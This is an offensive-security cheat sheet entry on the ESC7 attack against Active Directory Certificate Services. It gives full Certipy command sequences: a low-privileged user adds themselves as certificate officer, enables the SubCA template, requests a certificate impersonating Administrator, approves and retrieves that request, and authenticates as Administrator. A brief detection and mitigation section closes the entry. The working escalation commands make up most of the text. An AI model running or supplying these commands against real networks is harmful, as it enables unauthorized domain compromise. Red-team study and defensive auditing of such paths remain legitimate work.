π’ Attack #32 β ESC7: Vulnerable CA Officer Permissions#
π How It Works#
ESC7 exploits overly permissive CA permissions. If a low-privileged user has ManageCA rights on the Certificate Authority, they can grant themselves ManageCertificates (Certificate Officer) rights, then approve their own failed/pending certificate requests β including requests for the SubCA template, which grants full CA-level authority.
Two Sub-Variants#
| Variant |
Permission |
Exploitation |
| ESC7a |
ManageCA |
Self-grant ManageCertificates β approve own requests |
| ESC7b |
ManageCertificates |
Directly approve pending/failed requests |
Attack Flow (ESC7a β ManageCA)#
1. Have ManageCA permission on the CA
2. Grant yourself ManageCertificates via CERTSRV.MSC or Certipy
3. Enable the SubCA template (if not already enabled)
4. Request a certificate using the SubCA template (will fail initially)
5. Use ManageCertificates to approve the failed request
6. Retrieve the issued certificate
7. Authenticate as any user
βοΈ Prerequisites#
| Requirement |
Detail |
| ManageCA or ManageCertificates on CA |
Check CA permissions |
| Domain user account |
Principal with overly permissive CA rights |
π» Full Commands#
π΄ ESC7a β ManageCA β ManageCertificates β SubCA#
# ββ Step 1: Add yourself as officer (grant ManageCertificates) ββββββββββββββββ
certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-add-officer low_user -dc-ip 10.10.10.10
# ββ Step 2: Enable SubCA template ββββββββββββββββββββββββββββββββββββββββββββ
certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-enable-template SubCA -dc-ip 10.10.10.10
# ββ Step 3: Request SubCA certificate (will fail β needs approval) βββββββββββ
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-template SubCA -upn Administrator@corp.local -dc-ip 10.10.10.10
# Note the Request ID from the output (e.g., Request ID: 42)
# ββ Step 4: Approve the failed request (using ManageCertificates) ββββββββββββ
certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-issue-request 42 -dc-ip 10.10.10.10
# ββ Step 5: Retrieve the issued certificate βββββββββββββββββββββββββββββββββββ
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-retrieve 42 -dc-ip 10.10.10.10
# ββ Step 6: Authenticate ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
π΄ ESC7b β ManageCertificates Direct#
# ββ If you already have ManageCertificates, skip the officer step βββββββββββββ
# Request + approve flow is the same as steps 3-6 above
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-template SubCA -upn Administrator@corp.local -dc-ip 10.10.10.10
certipy ca -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-issue-request <ID> -dc-ip 10.10.10.10
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
-retrieve <ID> -dc-ip 10.10.10.10
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
π‘οΈ Detection β Event IDs#
| Event ID |
Source |
What to Look For |
| 4890 |
Security Log (CA) |
CA security settings changed (officer added) |
| 4886 |
Security Log (CA) |
Certificate request for SubCA template |
| 4887 |
Security Log (CA) |
Certificate issued after manual approval |
π Attack Chain Context#
[ESC7] βββ CA permissions abuse β approve own requests β domain compromise
β
ββββ π ManageCA β self-grant ManageCertificates β approve SubCA requests
ββββ π SubCA cert = full CA authority
ββββ π Defeated by: restrict ManageCA/ManageCertificates, audit CA permissions
β
Attack #32 β ESC7 complete.